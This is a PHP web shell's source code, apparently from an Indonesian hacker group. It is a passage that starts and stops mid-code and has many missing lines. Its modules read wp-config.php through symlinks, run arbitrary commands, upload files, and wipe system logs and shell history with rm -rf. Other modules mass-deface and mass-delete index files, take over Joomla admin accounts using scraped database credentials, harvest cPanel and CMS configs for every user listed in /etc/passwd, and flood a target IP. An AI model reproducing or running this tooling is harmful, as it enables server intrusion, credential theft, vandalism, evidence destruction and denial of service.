preg_match_all('{?name=(.*?)(&|&|l_op=")}i', $source, $f2);
preg_match_all('{/modules/(.*?)/}i', $source, $f3);
$arz = array_merge($f2[1], $f[1], $f3[1]);
$coms = array();
}
$coms[] = $x;
}
foreach ($coms as $nmod) {
echo "<tr><td>$nmod</td>";
ask_exploit_db($nmod);
}
}
/*****************************************************/
/* Xoops Conf */
function get_xoomod($site) {
preg_match_all('{/modules/(.*?)/}i', $source, $f);
$arz = array_merge($f[1]);
$coms = array();
}
$coms[] = $x;
}
foreach ($coms as $xmod) {
echo "<tr><td>$xmod</td>";
ask_exploit_db($xmod);
}
}
/**************************************************************/
/* Header */
function t_header($site) {
echo '<br><hr color="white"><br><table align="center" border="1"
style="border-color=white; text-align:left;" width="50%" cellspacing="1"
cellpadding="5">';
echo '
<tr>
<td style="border-color=white">Site : <a href="' . $site . '">' . $site .
'</a></td>
<td style="border-color=white">Exploit-db</b></td>
<td style="border-color=white">Exploit it !</td>
</tr>
';
}
echo '<style="text-align:left">
<h1>CMS Vulnerability Scanner</h1><hr color="white">
<form method="POST" action="" class="header-izz">
<p>Link&nbsp&nbsp<input type="text" style="border:0;border-bottom:1px solid
#292929; width:500px;" name="site" value="http://127.0.0.1/" >
<br><br>
CMS
&nbsp&nbsp&nbsp<select name="pilihan" style="border:0;border-bottom:1px solid
#292929; width:500px;">
<option>Wordpress</option>
<option>Joomla</option>
<option>Nukes</option>
<option>Xoops</option>
</select><br><br>&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type="submit"
style="width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;"
value="Sikat" class="kotak"></p>
</form>';
// Start Scan :P :P ...
if ($_POST) {
$site = strip_tags(trim($_POST['site']));
t_header($site);
echo $x01 = ($_POST['pilihan'] == "Wordpress") ? get_plugins($site) :
"";
echo $x02 = ($_POST['pilihan'] == "Joomla") ? get_components($site) :
"";
echo $x03 = ($_POST['pilihan'] == "Nuke's") ? get_numod($site) : "";
echo $x04 = ($_POST['pilihan'] == "Xoops") ? get_xoomod($site) : "";
}
}
elseif ($_GET['symlink'] == '404'){
@ini_set('display_errors', 0);
echo '<center><b>Coded By Con7ext</a></b><br>
<form method="post"><br>File Target : <input name="dir"
value="/home/user/public_html/wp-config.php">
<br>
<br>Save As: <input name="jnck" value="ojayakan.txt"><input name="ojaykan"
type="submit" value="Hajar Bro"></form><br>';
if($_POST['ojaykan']){
rmdir("con7ext_symlink404");mkdir("con7ext_symlink404", 0777);
$dir = $_POST['dir'];
$jnck = $_POST['jnck'];
system("ln -s ".$dir." con7ext_symlink404/".$jnck);
symlink($dir,"con7ext_symlink404/".$jnck);
$inija = fopen("con7ext_symlink404/.htaccess", "w");
fwrite($inija,"ReadmeName ".$jnck."
Options Indexes FollowSymLinks
DirectoryIndex ngeue.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
");
echo'<a href="con7ext_symlink404/" target="_blank">Klik Gan >:(</a>';
}
}
elseif($_GET['do'] == 'upload') {
echo "<center>";
if($_POST['upload']) {
if($_POST['tipe_upload'] == 'biasa') {
if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".
$_FILES['ix_file']['name']."")) {
$act = "<font color=yellow>Uploaded!</font> at
<i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
} else {
$act = "<font color=red>failed to upload file</font>";
}
} else {
$root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
$web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
$act = "<font color=yellow>Uploaded!</font> at
<i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
} else {
$act = "<font color=red>failed to upload
file</font>";
}
} else {
$act = "<font color=red>failed to upload file</font>";
}
}
}
echo "Upload File:
<form method='post' enctype='multipart/form-data'>
<input type='radio' name='tipe_upload' value='biasa' checked>Biasa
[ ".w($dir,"Writeable")." ]
<input type='radio' name='tipe_upload' value='home_root'>home_root
[ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
<input type='file' name='ix_file'>
<input type='submit' value='upload' name='upload'>
</form>";
echo $act;
echo "</center>";
}
elseif($_GET['delete'] == 'logs') {
echo '<br><center><b><span>Delete Logs ( For Safe )</span></b><center><br>';
echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";
exec("rm -rf /tmp/logs");

exec("rm -rf /root/.ksh_history");
exec("rm -rf /root/.bash_history");
exec("rm -rf /root/.bash_logout");
exec("rm -rf /usr/local/apache/logs");
exec("rm -rf /usr/local/apache/log");
exec("rm -rf /var/apache/logs");
exec("rm -rf /var/apache/log");
exec("rm -rf /var/run/utmp");
exec("rm -rf /var/logs");
exec("rm -rf /var/log");
exec("rm -rf /var/adm");
exec("rm -rf /etc/wtmp");
exec("rm -rf /etc/utmp");
exec("rm -rf $HISTFILE");
exec("rm -rf /var/log/lastlog");
exec("rm -rf /var/log/wtmp");
shell_exec("rm -rf /tmp/logs");

shell_exec("rm -rf /root/.ksh_history");
shell_exec("rm -rf /root/.bash_history");
shell_exec("rm -rf /root/.bash_logout");
shell_exec("rm -rf /usr/local/apache/logs");
shell_exec("rm -rf /usr/local/apache/log");
shell_exec("rm -rf /var/apache/logs");
shell_exec("rm -rf /var/apache/log");
shell_exec("rm -rf /var/run/utmp");
shell_exec("rm -rf /var/logs");
shell_exec("rm -rf /var/log");
shell_exec("rm -rf /var/adm");
shell_exec("rm -rf /etc/wtmp");
shell_exec("rm -rf /etc/utmp");
shell_exec("rm -rf $HISTFILE");
shell_exec("rm -rf /var/log/lastlog");
shell_exec("rm -rf /var/log/wtmp");
passthru("rm -rf /tmp/logs");

passthru("rm -rf /root/.ksh_history");
passthru("rm -rf /root/.bash_history");
passthru("rm -rf /root/.bash_logout");
passthru("rm -rf /usr/local/apache/logs");
passthru("rm -rf /usr/local/apache/log");
passthru("rm -rf /var/apache/logs");
passthru("rm -rf /var/apache/log");
passthru("rm -rf /var/run/utmp");
passthru("rm -rf /var/logs");
passthru("rm -rf /var/log");
passthru("rm -rf /var/adm");
passthru("rm -rf /etc/wtmp");
passthru("rm -rf /etc/utmp");
passthru("rm -rf $HISTFILE");
passthru("rm -rf /var/log/lastlog");
passthru("rm -rf /var/log/wtmp");
system("rm -rf /tmp/logs");

sleep(2);
echo'<br>Deleting .../tmp/logs ';
sleep(2);
system("rm -rf /root/.bash_history");

sleep(2);
echo'<p>Deleting .../root/.bash_history </p>';
system("rm -rf /root/.ksh_history");

sleep(2);
echo'<p>Deleting .../root/.ksh_history </p>';
system("rm -rf /root/.bash_logout");

sleep(2);
echo'<p>Deleting .../root/.bash_logout </p>';
system("rm -rf /usr/local/apache/logs");

sleep(2);
echo'<p>Deleting .../usr/local/apache/logs </p>';
system("rm -rf /usr/local/apache/log");

sleep(2);
echo'<p>Deleting .../usr/local/apache/log </p>';
system("rm -rf /var/apache/logs");

sleep(2);
echo'<p>Deleting .../var/apache/logs </p>';
system("rm -rf /var/apache/log");

sleep(2);
echo'<p>Deleting .../var/apache/log </p>';
system("rm -rf /var/run/utmp");

sleep(2);
echo'<p>Deleting .../var/run/utmp </p>';
system("rm -rf /var/logs");

sleep(2);
echo'<p>Deleting .../var/logs </p>';
system("rm -rf /var/log");

sleep(2);
echo'<p>Deleting .../var/log </p>';
system("rm -rf /var/adm");

sleep(2);
echo'<p>Deleting .../var/adm </p>';
system("rm -rf /etc/wtmp");

sleep(2);
echo'<p>Deleting .../etc/wtmp </p>';
system("rm -rf /etc/utmp");

sleep(2);
echo'<p>Deleting .../etc/utmp </p>';
system("rm -rf $HISTFILE");

sleep(2);
echo'<p>Deleting ...$HISTFILE </p>';
system("rm -rf /var/log/lastlog");

sleep(2);
echo'<p>Deleting .../var/log/lastlog </p>';
system("rm -rf /var/log/wtmp");

sleep(2);
echo'<p>Deleting .../var/log/wtmp </p>';
sleep(4);
echo '<br><br><p>Your Traces Has Been Successfully Deleting ...From the

Server';
echo"</td></tr></table>";
}
elseif ($_GET['do'] == 'about') {
echo "<link href='http://fonts.googleapis.com/css?family=Iceberg'
rel='stylesheet' type='text/css'>";
echo '<center style="color:white">
<font size="5pt" face="Iceberg"><font color="yellow"
face="Iceberg"></></font> GREETZ <font
color="yellow"></></font></font><br><font size="4pt">Official Member Garuda
Security Tester</font><br>
<center>
<br><br>Special Thanks :<br><a href="http://indoxploit.or.id"
target="blank">IndoXploit Coders Team | <a
href="https://www.facebook.com/noobexploitsec" target="blank">Badc0de | <a
href="https://www.facebook.com/jembud.go.id" target="blank">Con7ext</a>
</font>
';
echo "<hr color='white'>";
echo "Contact: <a href='https://www.facebook.com/ayhuewul'
target='blank'>Facebook</a></center>";
}
elseif($_GET['do'] == 'cmd') {
echo "<form method='post'>
<font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
<input type='text' size='30' height='10' name='cmd'><input type='submit'
name='do_cmd' value='>>'>
</form>";
if($_POST['do_cmd']) {
echo "<pre>".exe($_POST['cmd'])."</pre>";
}
}
elseif($_GET['do'] == 'contact') {
echo "<center><br><font size='6'>--=[ Contact Me ]=--</font><br><br>
<table><td style='background-color: transparent;text-align:center;border: 2px
cyan dotted;width:300px;height:250px;'>
<font color='yellow'>Email : Noobdepes@gmail.com | <a
href='https://www.facebook.com/ayhuewul'
target='_blank'>Facebook</font><br></tr></td></table></center>";
}
elseif($_GET['do'] == 'mass_deface') {
function sabun_massal($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=yellow>DONE</font>]
$lokasi<br>";
$idx = sabun_massal($dirc,$namafile,
$isi_script);
}
}
}
}
}
}
function sabun_biasa($dir,$namafile,$isi_script) {
if($dirb === '.') {
} elseif($dirb === '..') {
} else {
if(is_dir($dirc)) {
echo "[<font color=yellow>DONE</font>]
$dirb/$namafile<br>";
}
}
}
}
}
}
if($_POST['start']) {
if($_POST['tipe_sabun'] == 'mahal') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_massal($_POST['d_dir'], $_POST['d_file'],
$_POST['script']);
echo "</div>";
} elseif($_POST['tipe_sabun'] == 'murah') {
sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>";
}
} else {
echo "<center>";
<font style='text-decoration: underline;'>Tipe Sabun:</font><br>
<input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input
type='radio' name='tipe_sabun' value='mahal'>Massal<br>
<font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='d_dir' value='$dir' style='width: 450px;'
height='10'><br>
<font style='text-decoration: underline;'>Filename:</font><br>
<input type='text' name='d_file' value='index.php' style='width: 450px;'
height='10'><br>
<font style='text-decoration: underline;'>Index File:</font><br>
<textarea name='script' style='width: 450px; height: 200px;'>Hacked by
008</textarea><br>
<input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
</form></center>";
}
} elseif($_GET['do'] == 'mass_delete') {
function hapus_massal($dir,$namafile) {
if($dirb === '.') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === '..') {
if(file_exists("".dirname($dir)."/$namafile")) {
unlink("".dirname($dir)."/$namafile");
}
} else {
if(is_dir($dirc)) {
if(file_exists($lokasi)) {
echo "[<font
color=yellow>DELETED</font>] $lokasi<br>";
unlink($lokasi);
$idx = hapus_massal($dirc,
$namafile);
}
}
}
}
}
}
}
if($_POST['start']) {
hapus_massal($_POST['d_dir'], $_POST['d_file']);
echo "</div>";
} else {
echo "<center>";
<font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='d_dir' value='$dir' style='width: 450px;'
height='10'><br>
<font style='text-decoration: underline;'>Filename:</font><br>
<input type='text' name='d_file' value='index.php' style='width: 450px;'
height='10'><br>
<input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
</form></center>";
}
}
elseif($_GET['do'] == 'auto_cu_joomla') {
if($_POST['gass']) {
echo "<center><h1>Joomla Auto Change User 2</h1>
<form method='post'>
Link Config: <br>
<textarea name='link' style='width: 450px; height:250px;'>";
UrlLoop($_POST['linkconf'],'joomla');
echo"</textarea><br>
<input type='submit' style='width: 450px;' name='auto_cu_joomla'
value='Hajar!!'>
</form></center>";
} else {
echo "<center><h1>Joomla Auto Change User 2</h1>
Link Config: <br>
<input type='text' name='linkconf' height='10' size='50'
placeholder='http://link.com/Symconf/'><br>
<input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
</form></center>";
}
if($_POST['auto_cu_joomla']) {
function anucurl($sites) {
$ch = curl_init($sites);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows
NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION,true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$link = explode("\r\n", $_POST['link']);
$user = "008";
$pass = "008";
$passx = md5($pass);
foreach($link as $dir_config) {
$config = anucurl($dir_config);
$dbhost = ambilkata($config,"host = '","'");
$dbuser = ambilkata($config,"user = '","'");
$dbpass = ambilkata($config,"password = '","'");
$dbname = ambilkata($config,"db = '","'");
$dbprefix = ambilkata($config,"dbprefix = '","'");
$prefix = $dbprefix."users";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id
ASC");
$result = mysql_fetch_array($q);
$id = $result['id'];
$site = ambilkata($config,"sitename = '","'");
$update = mysql_query("UPDATE $prefix SET
username='$user',password='$passx' WHERE id='$id'");
echo "Config => ".$dir_config."<br>";
echo "CMS => Joomla<br>";
if($site == '') {
echo "Sitename => <font color=red>error, gabisa
ambil nama domain nya</font><br>";
} else {
echo "Sitename => $site<br>";
}
if(!$update OR !$conn OR !$db) {
echo "Status => <font
color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => Done , Username : <font
color=lime>$user</font> Password : <font color=lime>$pass</font><br><br>";
}
mysql_close($conn);
}
}
}
elseif($_GET['do'] == 'shellscanner') {
?>
<script language="JavaScript" type="text/JavaScript">

</script>
<style type="text/css">

</style>
<style type="text/css">
#patch {position:absolute; height:1; width:1px; top:0; left:0;}
</style>
</head>
<body>
<center>
<center><font color="yellow" size="10" face="Times New Roman">Shell
Scanner</font></center><br>
<?php
if(isset($_REQUEST['edit']) && $_REQUEST['edit']=='file'){
if(isset($_POST['yes'])){
$filename = $_GET['file'];
echo "<br><br><br><font color=red size=3><b><center>".$filename."
deleted...</b></font><br><br><br><br><br><br><br>";
unlink($filename);
echo "<META HTTP-EQUIV=Refresh CONTENT=\"2;
URL=javascript:window.close();\">";
}else{
if($_POST['update']) {
$filename = $_POST['file'];
if(is_writable($filename)) {
$handle = fopen($filename, "w+");
$isi=$_POST['content'];
fwrite($handle, stripslashes($isi));
fclose($handle);
$stat= "<center><strong>edited successfully<br>";
} else {
$stat= "<center><font color=red><strong>Error! File may not be
writable.</font></center>";
}
}
if($_POST['close']) {
echo "<META HTTP-EQUIV=Refresh CONTENT=\"0;
URL=javascript:window.close();\">";
}
$filename = $_GET['file'];
if (file_exists($filename)){
$vuln = $_GET['bug'];
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
?>
<center>
<table>
<tr><td align="left" class="me"><strong><?=$filename?>??>> Contains :?<?
=$vuln?></strong></td></tr>
<tr><td class="me">
<form method="post" action="">
<input type="hidden" name="file" value="<?=$filename?>">
<textarea name="content" cols="80" rows="15"><?
=htmlspecialchars($contents)?></textarea><br>
</td></tr>
<tr><td align="center" class="me">
<?php
if($_POST['delete']) {
echo "Are you sure to delete ".$filename." ?";
?>
<tr><td align="center" class="me">
<input type="submit" name="yes" value=" Y E S ">
<input type="submit" name="no" value=" N O ">
</td></tr>
<?php
}else{
echo $stat;
?>
</td></tr>
<tr><td align="right" class="me">
<input type="submit" name="close" value=" C l o s e ">
<input type="submit" name="delete" value=" D e l e t e ">
<input type="submit" name="update" value=" S a v e ">
</td></tr>
<?php
}
fclose($handle);
?>
</table>
</form>
<?php
}else{
echo "<br><br><br><font color=red size=3><b><center>".$filename." not
exist...</b></font><br><br><br><br><br><br><br>";
echo "<META HTTP-EQUIV=Refresh CONTENT=\"4; URL=javascript:window.close();\">";
}
?>
</center>
<?php
}
}elseif(isset($_POST['Submit'])){
$ceks =
array('base64_decode','system','passthru','popen','exec','shell_exec','eval','move_
uploaded_file');
foreach($ceks as $ceker){
if($_POST[$ceker]<>""){
$six.=$_POST[$ceker].".";
}
}
$cek = explode('.', $six);
function ListFiles($dir) {
if($dh = opendir($dir)) {
$files = Array();
$inner_files = Array();
while($file = readdir($dh)) {
if($file != "." && $file != "..") {
if(is_dir($dir . "/" . $file)) {
$inner_files = ListFiles($dir . "/" . $file);
if(is_array($inner_files)) $files = array_merge($files,
$inner_files);
} else {
array_push($files, $dir . "/" . $file);
}
}
}
closedir($dh);
return $files;
}
}
?>
<center>
<table border="0" width="90%" cellpadding="5">
<tr>
<td align="right" width="30"><b>No</b></td>
<td align="center" width="105"><b> T y p e </b></td>
<td align="center"><b> F i l e??L o c a t i o n </b></td>
<td align="center" width="150"><b> L a s t??E d i t </b></td>
<td align="right" width="80"><b>F i l e??S i z e</b></td>
</tr><br>
<?php
$target=$_SERVER['DOCUMENT_ROOT'];
foreach (ListFiles($target) as $key=>$file){
$nFile = substr($file, -4, 4);
if($nFile == ".php"){
if($file==$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF']){
}else{
$ops = @file_get_contents($file);
$op=strtolower($ops);
$arr = array('c99_buff_prepare' => 'c 9 9',
'abcr57' => 'r 5 7');
$sis=0;
if($op)
$size=filesize($file);
$last=date("M-d-Y H:i", $last_modified);

foreach($arr as $key => $val) {
if(@preg_match("/$key/", $op)) {
$sis=1;
$i++;
?>
<tr style ="background-color: Your background Color;"
onMouseOver="mover(this)" onmouseout="mout(this)">
<td align="right"><font color="red"><blink><?=$i?
></blink></font></td>
<td align="center"><font color="red"><blink><?=$val?
></blink></font></td>
<td align="left"><blink>
<a href="#" class="abunai" onClick="MM_openBrWindow('?
edit=file&file=<?=$file?>&bug=<?=$val?>','File
view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?
></a>
</blink></td>
<td align="center"><font color="red"><blink><?=$last?>
GMT+9</blink></font></td>
<td align="right"><font color="red"><blink><?=$size?>
byte</blink></font></td>
<script language="javascript">
var bgcolor = "transparent";
var change_color = "#444444"
function mover(aa) {
aa.style.backgroundColor = change_color;
}
function mout(aa) {
aa.style.backgroundColor = bgcolor;
}
</script>
</tr>
<?php
}
}
if($sis<>"1"){
if((@preg_match("/system$(.*?)$/", $op))&&(@preg_match("/<pre>/",
$op))&&(@preg_match("/empty$(.*?)$/", $op))) {
$sis="2";
$i++;
$val="hidden shell";
?>
<td align="right"><font color="blue"><?=$i?></font></td>
<td align="center"><font color="blue"><?=$val?></font></td>
<td align="left">
<a href="#" class="xxx" onClick="MM_openBrWindow('?
edit=file&file=<?=$file?>&bug=<?=$val?>','File
></a>
</td>
<td align="center"><font color="blue"><?=$last?>
GMT+9</font></td>
<td align="right"><font color="blue"><?=$size?>
byte</font></td>
}
function mout(aa) {
}
</script>
</tr>
<?php
}
}
if($sis=="0"){
foreach($cek as $bugs) {
if ($bugs<>""){
if(@preg_match("/$bugs$(.*?)$/", $op)) {
$i++;
?>
<td align="right"><?=$i?></td>
<td align="center"><?=$bugs?></td>
<td align="left">
<a href="#" onClick="MM_openBrWindow('?edit=file&file=<?
=$file?>&bug=<?=$bugs?>','File
></a>
</td>
<td align="center"><?=$last?> GMT+9</td>
<td align="right"><?=$size?> byte</td>
}
function mout(aa) {
}
</script>
</tr>
<?php
}
}
}
}
if($_POST['textV']<>""){
$text=$_POST['textV'];
if(@preg_match("/$text/", $op)) {
$i++;
?>
<td align="right"><?=$i?></td>
<td align="center"><?=$text?></td>
<td align="left">
<a href="#" onClick="MM_openBrWindow('?edit=file&file=<?
=$file?>&bug=<?=$text?>','File
></a>
</td>
<td align="center"><?=$last?> GMT+9</td>
<td align="right"><?=$size?> byte</td>
}
function mout(aa) {
}
</script>
</tr>
<?php
}
}
}
}
}
if($i==0){
foreach($cek as $bugs) {
if ($bugs<>""){
$x++;
?>
<td align="right"><?=$x?></td>
<td align="center"><?=$bugs?></td>
<td align="center"> not exist </td>
<td align="center"> no record </td>
<td align="right"> -????byte </td>
</tr>
<?php
}
}
}
?>
</table>
<?php
}else{
$find =
array('default','base64_decode','system','passthru','popen','exec','shell_exec','ev
al','move_uploaded_file');
?>
<form id="fCheck" name="fCheck" method="post" action="" autocomplete="off">
<center>
<table class="single" width="400" border="1" -webkit-box-shadow: 0px 0px 15px
#55FF55; cellpadding="10">
<tr><td class="me"><center>
<table class="me" width="200">

<tr><td class="me">
function cekKlik(){
if (!document.fCheck.cekV.checked)
document.fCheck.textV.disabled=true;
else
document.fCheck.textV.disabled=false;
if(document.fCheck.cekV.checked){
master = master + 1;
}else{
if(master > 0 ){
master = master - 1;
}else{
master = master;
}
}
if(master != 0){
document.fCheck.Submit.disabled=false;
}else{
document.fCheck.Submit.disabled=true;
}
}
</script>
<?php
//dari sini
foreach($find as $bug) {
?>
var master = 0;
function checkValue<?=$bug?>(){
if(document.fCheck.<?=$bug?>.checked){
master = master + 1;
}else{
if(master > 0 ){
master = master - 1;
}else{
master = master;
}
}
if(master != 0){
document.fCheck.Submit.disabled=false;
}else{
document.fCheck.Submit.disabled=true;
}
}
</script>
<input onClick="checkValue<?=$bug?>();" name="<?=$bug?>"
type="checkbox" id="<?=$bug?>" value="<?=$bug?>" />?<?=$bug?><br>
<?php
}
?>
<input name="cekV" type="checkbox" onClick="cekKlik();" id="cekV"
value="cekV">
<input class="isi" disabled="disabled" name="textV" value="other key
word" onFocus="this.select()" type="text" id="textV">
<br><br>
<input type="hidden" name="asal" value="abcd">
<input disabled="disabled" type="submit" name="Submit" value=" Start
" />
</td></tr>
</table>
</td></tr></table>
</form>
<?php
}
?>
<br><br><hr width="300">
<?php
}
elseif($_GET['do'] == 'configv2') {
if($_POST){
$passwd = $_POST['passwd'];
mkdir("008_config", 0777);
$isi_htc = "Options all\nRequire None\nSatisfy Any";
$htc = fopen("008_config/.htaccess","w");
fwrite($htc, $isi_htc);
preg_match_all('/(.*?):x:/', $passwd, $user_config);
foreach($user_config[1] as $user_008) {
$user_config_dir = "/home/$user_008/public_html/";
if(is_readable($user_config_dir)) {
$grab_config = array(
"/home/$user_008/.my.cnf" => "cpanel",
"/home/$user_008/.accesshash" => "WHM-accesshash",
"/home/$user_008/public_html/bw-configs/config.ini"
=> "BosWeb",
"/home/$user_008/public_html/config/koneksi.php" =>
"Lokomedia",
"/home/
$user_008/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home/
$user_008/public_html/clientarea/configuration.php" => "WHMCS",
"/home/$user_008/public_html/whm/configuration.php"
=> "WHMCS",
"/home/$user_008/public_html/whmcs/configuration.php"
=> "WHMCS",
"/home/$user_008/public_html/forum/config.php" =>
"phpBB",
"/home/
$user_008/public_html/sites/default/settings.php" => "Drupal",
"/home/$user_008/public_html/config/settings.inc.php"
=> "PrestaShop",
"/home/$user_008/public_html/app/etc/local.xml" =>
"Magento",
"/home/
$user_008/public_html/joomla/configuration.php" => "Joomla",
"/home/$user_008/public_html/configuration.php" =>
"Joomla",
"/home/$user_008/public_html/wp/wp-config.php" =>
"WordPress",
"/home/$user_008/public_html/wordpress/wp-config.php"
=> "WordPress",
"/home/$user_008/public_html/wp-config.php" =>
"WordPress",
"/home/$user_008/public_html/admin/config.php" =>
"OpenCart",
"/home/$user_008/public_html/slconfig.php" =>
"Sitelok",
"/home/
$user_008/public_html/application/config/database.php" => "Ellislab",
"/home1/$user_008/.my.cnf" => "cpanel",
"/home1/$user_008/.accesshash" => "WHM-accesshash",
"/home1/$user_008/public_html/bw-configs/config.ini"
=> "BosWeb",
"/home1/$user_008/public_html/config/koneksi.php" =>
"Lokomedia",
"/home1/$user_008/public_html/lokomedia/config/koneks
i.php" => "Lokomedia",
"/home1/$user_008/public_html/clientarea/configuratio
n.php" => "WHMCS",
"/home1/$user_008/public_html/whm/configuration.php"
=> "WHMCS",
"/home1/$user_008/public_html/whmcs/configuration.php
" => "WHMCS",
"/home1/$user_008/public_html/forum/config.php" =>
"phpBB",
"/home1/$user_008/public_html/sites/default/settings.
php" => "Drupal",
"/home1/$user_008/public_html/config/settings.inc.php" => "PrestaShop",
"/home1/$user_008/public_html/app/etc/local.xml" =>
"Magento",
"/home1/$user_008/public_html/joomla/configuration.ph
p" => "Joomla",
"/home1/$user_008/public_html/configuration.php" =>
"Joomla",
"/home1/$user_008/public_html/wp/wp-config.php" =>
"WordPress",
"/home1/$user_008/public_html/wordpress/wp-
config.php" => "WordPress",
"/home1/$user_008/public_html/wp-config.php" =>
"WordPress",
"/home1/$user_008/public_html/admin/config.php" =>
"OpenCart",
"/home1/$user_008/public_html/slconfig.php" =>
"Sitelok",
"/home1/$user_008/public_html/application/config/data
base.php" => "Ellislab",
=> "BosWeb",
"Lokomedia",
n.php" => "WHMCS",
=> "WHMCS",
" => "WHMCS",
"phpBB",
php" => "Drupal",
"/home2/$user_008/public_html/config/settings.inc.php
" => "PrestaShop",
"Magento",
p" => "Joomla",
"Joomla",
"WordPress",
"WordPress",
"OpenCart",
"Sitelok",
base.php" => "Ellislab",
=> "BosWeb",
"Lokomedia",
n.php" => "WHMCS",
=> "WHMCS",
" => "WHMCS",
"phpBB",
php" => "Drupal",
"/home3/$user_008/public_html/config/settings.inc.php
" => "PrestaShop",
"Magento",
p" => "Joomla",
"Joomla",
"WordPress",
"WordPress",
"OpenCart",
"Sitelok",
base.php" => "Ellislab"
);
foreach($grab_config as $config => $nama_config) {
$ambil_config = file_get_contents($config);
if($ambil_config == '') {
} else {
$file_config = fopen("008_config/
$user_008-$nama_config.txt","w");
fputs($file_config,$ambil_config);
}
}
}
}
echo "<center><a href='?dir=$dir/008_config'><font
color=lime>Done</font></a></center>";
}else{
echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a

href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\"
class='area' rows='15' cols='60'>\n";
echo file_get_contents('/etc/passwd');
echo "</textarea><br><input type=\"submit\"
value=\"Hajar\"></td></tr></center>\n";
}
}
elseif($_GET['do'] == 'csrf') {
?> <html>
<title>CSRF EXPLOITER ONLINE</title>
<center><br><br><br><br>
<font color=Lavenda>*Note : Post File, Type : Filedata / dzupload / dzfile /
dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc
<center>
<form method="post">
URL: <input type="text" name="url" size="50" height="10"
placeholder="http://www.target.com/[path]/upload.php" style="margin: 5px auto;
padding-left: 5px;" required><br>
POST File: <input type="text" name="pf" size="50" height="10" placeholder="Lihat
Diatas ^" style="margin: 5px auto; padding-left: 5px;" required><br>
<input type="submit" name="d" value="Lock!">
</form>
<?php
//gak penting
@$url = $_POST['url'];
@$pf = $_POST['pf'];
@$d = $_POST['d'];
if($d) {
//baccod
echo "<form method='post' target='_blank' action='$url'

enctype='multipart/form-data'><input type='file' name='$pf'><input type='submit'
name='g' value='Upload Cok!'></form";
}
?>
</form>
</html>
<?php
}
elseif($_GET['do'] == 'ddosattack')
{
?>
<form action=" " method="post">
<center><br><br><br>
Your IP: <font color="#ff0066"><b><?php echo $my_ip; ?></b></font> (Don't DoS
yourself nub)<br><br>
<table class="tabnet" style="width:333px;padding:0 1px;">
<th colspan="5">Ddos Tool</th>
<tr><tr><td>IP Target</td><td>:</td>
<td><input type="text" class="inputz" name="ip" size="48" maxlength="25" value =
"0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if (
this.value == '0.0.0.0' ) this.value = '';"/>
</td></tr>
<tr><td>Time</td><td>:</td>
<td><input type="text" class="inputz" name="time" size="48" maxlength="25" value =
"time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in
seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value =
'';"/>
</td></tr>
<tr><td>Port</td><td>:</td>
<td><input type="text" class="inputz" name="port" size="48" maxlength="5" value =
"port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if
( this.value == 'port' ) this.value = '';"/>
</td></tr></tr></table></b><br>
<input type="submit" class="inputzbut" name="fire" value=" Firee !!! ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<?php
$submit = $_POST['fire'];
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time + $exec_time;
for ($i = 0;$i < 65535;$i++) {
$out.= "X";
}
while (1) {
$packets++;
if (time() > $max_time) {
break;
}
